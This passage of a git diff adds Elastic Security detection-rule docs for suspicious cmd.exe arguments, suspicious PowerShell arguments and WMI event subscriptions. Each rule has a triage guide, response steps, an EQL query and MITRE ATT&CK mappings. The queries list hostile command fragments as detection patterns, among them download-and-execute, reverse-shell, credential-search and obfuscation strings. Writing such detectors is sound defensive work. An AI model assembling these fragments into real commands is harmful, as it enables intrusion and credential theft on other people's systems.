logs-crowdstrike.fdr* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* endgame-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Windows Command Shell Arguments* + + + +*Possible investigation steps* + + +- What abuse path and launch context does the alerting "cmd.exe" show? + - Focus: `process.command_line`, `process.args`, `process.executable`, `process.parent.executable`, and `process.parent.command_line`; classify reconstruction, remote retrieval, WebDAV or UNC execution, obfuscated environment setup, or handoff to "regsvr32.exe", "wscript.exe", "mshta.exe", PowerShell, or AutoIt. + - Implication: escalate when the command reconstructs scripts, pulls remote content, starts from a remote share, chains to proxy execution, runs from a non-native path, or has a parent conflicting with command purpose; lower suspicion only when parent-command, user-host, child, artifact, and destination evidence form one consistent current activity. Identity or recurrence alone does not clear suspicious arguments. + +- Did the same "cmd.exe" instance launch a second stage? + - Focus: child starts where `host.id` and `process.parent.entity_id` map to `process.entity_id`; review child `process.executable` and `process.command_line`. !{investigate{"description":"","label":"Child process starts from the same cmd.exe instance","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if `process.entity_id` is absent, use `host.id` plus `process.pid` in a tight alert-time window. + - Implication: escalate when the shell launches PowerShell, "regsvr32.exe", "wscript.exe", "mshta.exe", archive tools, script files, or newly staged payloads; lower suspicion when no child follows or stays inside the parent directory or command-named output path. + +- If endpoint file telemetry is available, did the shell reconstruct or stage executable content? + - Focus: file activity tied to `process.entity_id` or, if needed, `host.id` plus `process.pid`, checking `file.path`, `file.Ext.original.path`, `file.Ext.header_bytes`, and `file.Ext.windows.zone_identifier`. !{investigate{"description":"","label":"File activity for the alerting cmd.exe instance","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the shell writes scriptable files, rebuilds archive or PE content, renames staged payloads, or leaves internet-marked content in temp, public, or user-writable paths; lower suspicion when paths stay under the parent directory or command-named output path and no written content later executes. Missing file telemetry is unresolved, not benign. + +- If endpoint network telemetry is available, did the shell retrieve content or execute from WebDAV or UNC infrastructure? + - Focus: process-scoped DNS and connections for `host.id` and `process.entity_id`; compare DNS `dns.question.name` or `dns.resolved_ip` and connection `destination.ip` or `destination.port` with UNC, "DavWWWRoot", or URL fragments in `process.command_line`. !{investigate{"description":"","label":"Network activity for the alerting cmd.exe instance","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if `dns.resolved_ip` is present, correlate it to `destination.ip` on the same host and process before judging the destination. + - Implication: escalate when the shell reaches rare public hosts, unexpected WebDAV endpoints, or shares unrelated to the parent; lower suspicion when DNS and connections match the share, URL, or host pattern visible in the command and parent. Missing network telemetry is unresolved, not benign. + +- If local findings remain suspicious or unresolved, does the pattern recur on the same host or user? + - Focus: recent alerts for the same `host.id`, emphasizing execution, delivery, persistence, or proxy-execution detections that reuse the same command-shell pattern. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if the host is shared or quiet, compare recent alerts for the same `user.id` to test whether the user carries the pattern to other systems. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same host or user also shows delivery, shell, or persistence alerts; keep local when related alerts are clean and telemetry binds one parent-command, child, artifact, destination, and user-host tuple. + +- What disposition does the parent-command, child, artifact, destination, and user-host tuple support? + - Escalate for staged execution, remote retrieval, script reconstruction, proxy execution, or broader compromise; close only when alert-local command, parent, child, artifact, destination, user-host, and related-alert evidence bind one exact benign tuple with no contradictions. Preserve evidence and escalate on conflicts or incomplete visibility. + + +*False positive analysis* + + +- Packaging, build, installer, or developer activity can use "cmd.exe" to reconstruct files, call package managers, or hand off to helper utilities. Confirm `process.parent.executable`, `process.parent.command_line`, `process.command_line`, `user.id`, and `host.id` align with the same current parent path, helper command, package cache, build output, or database-export output, and that recovered child, file, or destination evidence does not conflict. Build records or change tickets are corroboration only. +- Remote-support or software-distribution activity can reference UNC paths or "DavWWWRoot". When network or file telemetry exists, confirm `process.command_line`, `process.parent.executable`, `host.id`, and any recovered `dns.question.name`, `destination.ip`, or `file.path` stay inside one current distribution share, vendor endpoint, support-client cache, or deployment path and no unexpected child appears. Missing file or network telemetry is unresolved, not benign. Support records or inventories are corroboration only. +- Before creating an exception, validate that the same `process.parent.executable`, `process.command_line`, `user.id`, `host.id`, and recovered artifact or destination anchors recur across prior alerts from this rule. Avoid exceptions on "cmd.exe" alone, one argument token, one destination, or parent name. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the parent command, alerting command, user-host scope, and recovered artifact or destination evidence. Create an exception only after the same tuple is stable across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the alert, Timeline records, full command lines, process tree, recovered child details, staged files, and DNS or connection evidence before destructive action. Apply reversible containment first, such as temporary destination restrictions or heightened monitoring on `host.id` and `user.id`; isolate only when follow-on execution, staged payloads, or remote retrieval justifies disruption. +- If confirmed malicious, isolate the host when identity, lineage, artifact, or destination evidence establishes unauthorized execution, then block confirmed malicious domains, destinations, or hashes. Record malicious shell and child identifiers before termination, scope related hosts and users before artifact removal, then remove only the scripts, archives, rebuilt payloads, persistence artifacts, or launcher components identified during the investigation. +- Post-incident hardening: retain process, file, and network telemetry. If browser, explorer, script-host, or AutoIt launch paths were involved, review controls for user-driven shell launches; if WebDAV, UNC, or URL retrieval was involved, review remote-share and WebDAV execution controls. Note adjacent "mshta.exe", "wscript.exe", "regsvr32.exe", PowerShell, AutoIt, and explorer-driven clickfix-style variants for future triage. + + +==== Setup + + + +*Setup* + + +This rule requires telemetry from one of the configured source integrations to be enabled and ingested. + + +*Supported data sources* + + +This rule can use the following data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "cmd.exe" and + ( + process.command_line : ( + "*).Run(*", "*GetObject*", "* curl*regsvr32*", "*echo*wscript*", "*echo*ZONE.identifier*", + "*ActiveXObject*", "*dir /s /b *echo*", "*unescape(*", "*findstr*TVNDRgAAAA*", "*findstr*passw*", "*start*\\\\*\\DavWWWRoot\\*", + "* explorer*%CD%*", "*%cd%\\*.js*", "*attrib*%CD%*", "*/?cMD<*", "*/AutoIt3ExecuteScript*..*", "*&cls&cls&cls&cls&cls&*", + "*&#*;&#*;&#*;&#*;*", "* &&s^eT*", "*& ChrW(*", "*&explorer /root*", "*start __ & __\\*", "*findstr /V /L *forfiles*", + "*=wscri& set *", "*http*!COmpUternaME!*", "*start *.pdf * start /min cmd.exe /c *\\\\*", "*pip install*System.Net.WebClient*", + "*Invoke-WebReques*Start-Process*", "*-command (Invoke-webrequest*", "*copy /b *\\\\* ping *-n*", "*echo*.ToCharArray*" + ) or + + (process.args : "echo" and process.parent.name : ("wscript.exe", "mshta.exe")) or + + process.args : ("1>?:\\*.vbs", "1>?:\\*.js") or + + (process.args : "explorer.exe" and process.args : "type" and process.args : ">" and process.args : "start") or + + ( + process.parent.name : "explorer.exe" and + process.command_line : ( + "*&&S^eT *", + "*&& set *&& set *&& set *&& set *&& set *&& call*", + "**\\u00??\\u00??\\u00??\\u00??\\u00??\\u00??\\u00??\\u00??*" + ) + ) or + + (process.parent.name : "explorer.exe" and process.args : "copy" and process.args : "&&" and process.args : "\\\\*@*\\*") + ) and + + /* false positives */ + not (process.args : "%TEMP%\\Spiceworks\\*" and process.parent.name : "wmiprvse.exe") and + not ?process.parent.executable : ( + "?:\\Perl64\\bin\\perl.exe", + "?:\\Program Files\\nodejs\\node.exe", + "?:\\Program Files\\HP\\RS\\pgsql\\bin\\pg_dumpall.exe", + "?:\\Program Files (x86)\\PRTG Network Monitor\\64 bit\\PRTG Server.exe", + "?:\\Program Files (x86)\\Spiceworks\\bin\\spiceworks-finder.exe", + "?:\\Program Files (x86)\\Zuercher Suite\\production\\leds\\leds.exe", + "?:\\Program Files\\Tripwire\\Agent\\Plugins\\twexec\\twexec.exe", + "D:\\Agents\\?\\_work\\_tasks\\*\\SonarScanner.MSBuild.exe", + "?:\\Program Files\\Microsoft VS Code\\Code.exe", + "?:\\programmiweb\\NetBeans-*\\netbeans\\bin\\netbeans64.exe", + "?:\\Program Files (x86)\\Public Safety Suite Professional\\production\\leds\\leds.exe", + "?:\\Program Files (x86)\\Tier2Tickets\\button_gui.exe", + "?:\\Program Files\\NetBeans-*\\netbeans\\bin\\netbeans*.exe", + "?:\\Program Files (x86)\\Public Safety Suite Professional\\production\\leds\\leds.exe", + "?:\\Program Files (x86)\\Tier2Tickets\\button_gui.exe", + "?:\\Program Files (x86)\\Helpdesk Button\\button_gui.exe", + "?:\\VTSPortable\\VTS\\jre\\bin\\javaw.exe", + "?:\\Program Files\\Bot Framework Composer\\Bot Framework Composer.exe", + "?:\\Program Files\\KMSYS Worldwide\\eQuate\\*\\SessionMgr.exe", + "?:\\Program Files (x86)\\Craneware\\Pricing Analyzer\\Craneware.Pricing.Shell.exe", + "?:\\Program Files (x86)\\jumpcloud-agent-app\\jumpcloud-agent-app.exe", + "?:\\Program Files\\PostgreSQL\\*\\bin\\pg_dumpall.exe", + "?:\\Program Files (x86)\\Vim\\vim*\\vimrun.exe") and + not ( + /* Crowdstrike doesn't populate process.parent.executable */ + data_stream.dataset == "crowdstrike.fdr" and + process.parent.name : ( + "perl.exe", "node.exe", "pg_dumpall.exe", "PRTG Server.exe", "spiceworks-finder.exe", "leds.exe", "twexec.exe", + "SonarScanner.MSBuild.exe", "Code.exe", "netbeans64.exe", "javaw.exe", "Bot Framework Composer.exe", "SessionMgr.exe", + "Craneware.Pricing.Shell.exe", "jumpcloud-agent-app.exe", "vimrun.exe" + ) + ) and + not (process.args : "?:\\Program Files\\Citrix\\Secure Access Client\\nsauto.exe" and process.parent.name : "userinit.exe") and + not process.args : ( + "?:\\Program Files (x86)\\PCMatic\\PCPitstopScheduleService.exe", + "?:\\Program Files (x86)\\AllesTechnologyAgent\\*", + "https://auth.axis.com/oauth2/oauth-authorize*" + ) and + not process.command_line : ( + "\"cmd\" /c %NETBEANS_MAVEN_COMMAND_LINE%", + "?:\\Windows\\system32\\cmd.exe /q /d /s /c \"npm.cmd ^\"install^\" ^\"--no-bin-links^\" ^\"--production^\"\"" + ) and + not (process.name : "cmd.exe" and process.args : "%TEMP%\\Spiceworks\\*" and process.args : "http*/dataloader/persist_netstat_data") and + not (process.args == "echo" and process.args == "GEQ" and process.args == "1073741824") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-windows-powershell-arguments.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-windows-powershell-arguments.asciidoc new file mode 100644 index 0000000000..a8ee458a24 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-windows-powershell-arguments.asciidoc @@ -0,0 +1,288 @@ +[[prebuilt-rule-8-19-34-suspicious-windows-powershell-arguments]] +=== Suspicious Windows Powershell Arguments + +Identifies the execution of PowerShell with suspicious argument values. This behavior is often observed during malware installation leveraging PowerShell. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-crowdstrike.fdr* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Windows Security Event Logs +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Script-Based Execution +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Windows Powershell Arguments* + + +PowerShell is a powerful scripting language and command-line shell used for task automation and configuration management in Windows environments. Adversaries exploit PowerShell's capabilities to execute malicious scripts, download payloads, and obfuscate commands. The detection rule identifies unusual PowerShell arguments indicative of such abuse, focusing on patterns like encoded commands, suspicious downloads, and obfuscation techniques, thereby flagging potential threats for further investigation. + + +*Possible investigation steps* + + +- Review the process command line and arguments to identify any encoded or obfuscated content, such as Base64 strings or unusual character sequences, which may indicate malicious intent. +- Check the parent process of the PowerShell execution, especially if it is explorer.exe or cmd.exe, to determine if the PowerShell instance was launched from a suspicious or unexpected source. +- Investigate any network activity associated with the PowerShell process, particularly looking for connections to known malicious domains or IP addresses, or the use of suspicious commands like DownloadFile or DownloadString. +- Examine the user account associated with the PowerShell execution to determine if it aligns with expected behavior or if it might be compromised. +- Correlate the event with other security alerts or logs from the same host or user to identify patterns or additional indicators of compromise. +- Assess the risk and impact of the detected activity by considering the context of the environment, such as the presence of sensitive data or critical systems that might be affected. + + +*False positive analysis* + + +- Legitimate administrative scripts may use encoded commands for obfuscation to protect sensitive data. Review the script's source and purpose to determine if it is authorized. If confirmed, add the script's hash or specific command pattern to an allowlist. +- Automated software deployment tools might use PowerShell to download and execute scripts from trusted internal sources. Verify the source and destination of the download. If legitimate, exclude the specific tool or process from the detection rule. +- System maintenance tasks often involve PowerShell scripts that manipulate files or system settings. Identify routine maintenance scripts and exclude their specific command patterns or file paths from triggering the rule. +- Security software may use PowerShell for scanning or remediation tasks, which can mimic suspicious behavior. Confirm the software's legitimacy and add its processes to an exception list to prevent false alerts. +- Developers might use PowerShell for testing or development purposes, which can include obfuscation techniques. Validate the developer's activities and exclude their specific development environments or scripts from the rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious PowerShell processes identified by the detection rule to halt ongoing malicious activities. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious payloads or scripts. +- Review and clean up any unauthorized changes to system configurations or scheduled tasks that may have been altered by the malicious PowerShell activity. +- Restore any affected files or system components from known good backups to ensure system integrity and functionality. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are compromised. +- Implement additional monitoring and logging for PowerShell activities across the network to enhance detection of similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "powershell.exe" and + + not ( + ?user.id == "S-1-5-18" and + /* Don't apply the user.id exclusion to Sysmon for compatibility */ + not data_stream.dataset : ("windows.sysmon_operational", "windows.sysmon") + ) and + + not process.parent.executable : ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe" + ) and + + ( + process.command_line : ( + "*^*^*^*^*^*^*^*^*^*", + "*`*`*`*`*", + "*+*+*+*+*+*+*", + "*[char[]](*)*-join*", + "*Base64String*", + "*[*Convert]*", + "*.Compression.*", + "*-join($*", + "*MemoryStream*", + "*WriteAllBytes*", + "* -enc *", + "* -ec *", + "* /e *", + "* /enc *", + "* /ec *", + "*WebClient*", + "*DownloadFile*", + "*DownloadString*", + "* iex*", + "* iwr*", + "* aQB3AHIAIABpA*", + "*Reflection.Assembly*", + "*Assembly.GetType*", + "*$env:temp\\*start*", + "*powercat*", + "*nslookup -q=txt*", + "*$host.UI.PromptForCredential*", + "*Net.Sockets.TCPClient*", + "*curl *;Start*", + "powershell.exe \"<#*", + "*ssh -p *", + "*http*|iex*", + "*@SSL\\DavWWWRoot\\*.ps1*", + "*.lnk*.Seek(0x*", + "*[string]::join(*", + "*[Array]::Reverse($*", + "* hidden $(gc *", + "*=wscri& set*", + "*http'+'s://*", + "*.content|i''Ex*", + "*//:sptth*", + "*//:ptth*", + "*h''t''t''p*", + "*'tp'':''/'*", + "*$env:T\"E\"MP*", + "*;cmd /c $?", + "*s''t''a''r*", + "*$*=Get-Content*AppData*.SubString(*$*", + "*=cat *AppData*.substring(*);*$*", + "*-join'';*|powershell*", + "*.Content;sleep *|powershell*", + "*h\''t\''tp:\''*", + "*-e aQB3AHIAIABp*", + "*iwr *https*).Content*", + "*$env:computername*http*", + "*;InVoKe-ExpRESsIoN $COntent.CONTENt;*", + "*WebClient*example.com*", + "*=iwr $*;iex $*", + "*ServerXmlHttp*IEX*", + "*XmlDocument*IEX*" + ) or + + ( + process.command_line : "*.replace*" and + /* exclude known process and network inventory collection patterns */ + not process.command_line : ( + "*Get-CimInstance -Class Win32_Process*ConvertTo-Csv*Select-Object*$_.Replace*", + "*function replace_unallowed*$s.replace*Get-Counter*Network Adapter*" + ) + ) or + + (process.args : "-c" and process.args : "&{'*") or + + (process.args : "-Outfile" and process.args : "Start*") or + + (process.args : "-bxor" and process.args : "0x*") or + + process.args : "$*$*;set-alias" or + + process.args == "-e" or + + // ATHPowerShellCommandLineParameter + process.args : ("-EncodedCommandParamVariation", "-UseEncodedArguments", "-CommandParamVariation") or + + ( + process.parent.name : ("explorer.exe", "cmd.exe") and + process.command_line : ("*-encodedCommand*", "*Invoke-webrequest*", "*WebClient*", "*Reflection.Assembly*")) + ) and + not process.command_line : ( + "*Use-Icinga -Minimal*", + "*& {$j = sajb {Add-Type -AssemblyName*" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-wmi-event-subscription-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-wmi-event-subscription-created.asciidoc new file mode 100644 index 0000000000..45e18c2cd9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-wmi-event-subscription-created.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-34-suspicious-wmi-event-subscription-created]] +=== Suspicious WMI Event Subscription Created + +Detects the creation of a WMI Event Subscription. Attackers can abuse this mechanism for persistence or to elevate to SYSTEM privileges. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-windows.sysmon_operational-* +* logs-endpoint.events.api-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf +* https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Sysmon +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 314 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious WMI Event Subscription Created* + + +Windows Management Instrumentation (WMI) is a powerful framework for managing data and operations on Windows systems. It allows for event subscriptions that can trigger actions based on system events. Adversaries exploit this for persistence by creating event subscriptions that execute malicious scripts or commands. The detection rule identifies such abuse by monitoring specific event codes and API calls related to the creation of suspicious WMI event consumers, flagging potential threats. + + +*Possible investigation steps* + + +- Review the event logs for event code 21 in the windows.sysmon_operational dataset to identify the specific WMI event subscription created, focusing on the winlog.event_data.Operation and winlog.event_data.Consumer fields. +- Examine the process details associated with the IWbemServices::PutInstance API call in the endpoint.events.api dataset, particularly the process.Ext.api.parameters.consumer_type, to determine the nature of the consumer created. +- Investigate the source and context of the command or script associated with the CommandLineEventConsumer or ActiveScriptEventConsumer to assess its legitimacy and potential malicious intent. +- Check for any related processes or activities around the time of the event to identify potential lateral movement or further persistence mechanisms. +- Correlate the findings with other security alerts or logs to determine if this event is part of a broader attack pattern or campaign. + + +*False positive analysis* + + +- Legitimate administrative scripts or tools may create WMI event subscriptions for system monitoring or automation. Review the source and context of the event to determine if it aligns with known administrative activities. +- Software installations or updates might use WMI event subscriptions as part of their setup or configuration processes. Verify if the event coincides with recent software changes and consider excluding these specific events if they are routine. +- Security software or management tools often use WMI for legitimate purposes. Identify and document these tools in your environment, and create exceptions for their known behaviors to reduce noise. +- Scheduled tasks or system maintenance scripts may trigger similar events. Cross-reference with scheduled task logs or maintenance windows to confirm if these are expected activities. +- Custom scripts developed in-house for system management might inadvertently match the detection criteria. Ensure these scripts are documented and consider excluding their specific signatures from the rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes associated with the WMI event subscription, specifically those linked to CommandLineEventConsumer or ActiveScriptEventConsumer. +- Remove the malicious WMI event subscription by using WMI management tools or scripts to delete the identified event consumer. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional threats. +- Review and reset any compromised credentials, especially if SYSTEM privileges were potentially accessed or escalated. +- Monitor the network for any signs of similar activity or attempts to recreate the WMI event subscription, using enhanced logging and alerting mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-wmi-setup[Sysmon WMI Events] + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and + ( + (data_stream.dataset == "windows.sysmon_operational" and event.code == "21" and + ?winlog.event_data.Operation : "Created" and ?winlog.event_data.Consumer : ("*subscription:CommandLineEventConsumer*", "*subscription:ActiveScriptEventConsumer*")) or + + (data_stream.dataset == "endpoint.events.api" and event.provider == "Microsoft-Windows-WMI-Activity" and ?process.Ext.api.name == "IWbemServices::PutInstance" and + ?process.Ext.api.parameters.consumer_type in ("ActiveScriptEventConsumer", "CommandLineEventConsumer")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Windows Management Instrumentation Event Subscription +** ID: T1546.003 +** Reference URL: https://attack.mitre.org/techniques/T1546/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-wmi-image-load-from-ms-office.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-wmi-image-load-from-ms-office.asciidoc new file mode 100644 index 0000000000..2dab5d3177 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-wmi-image-load-from-ms-office.asciidoc @@ -0,0 +1,142 @@ 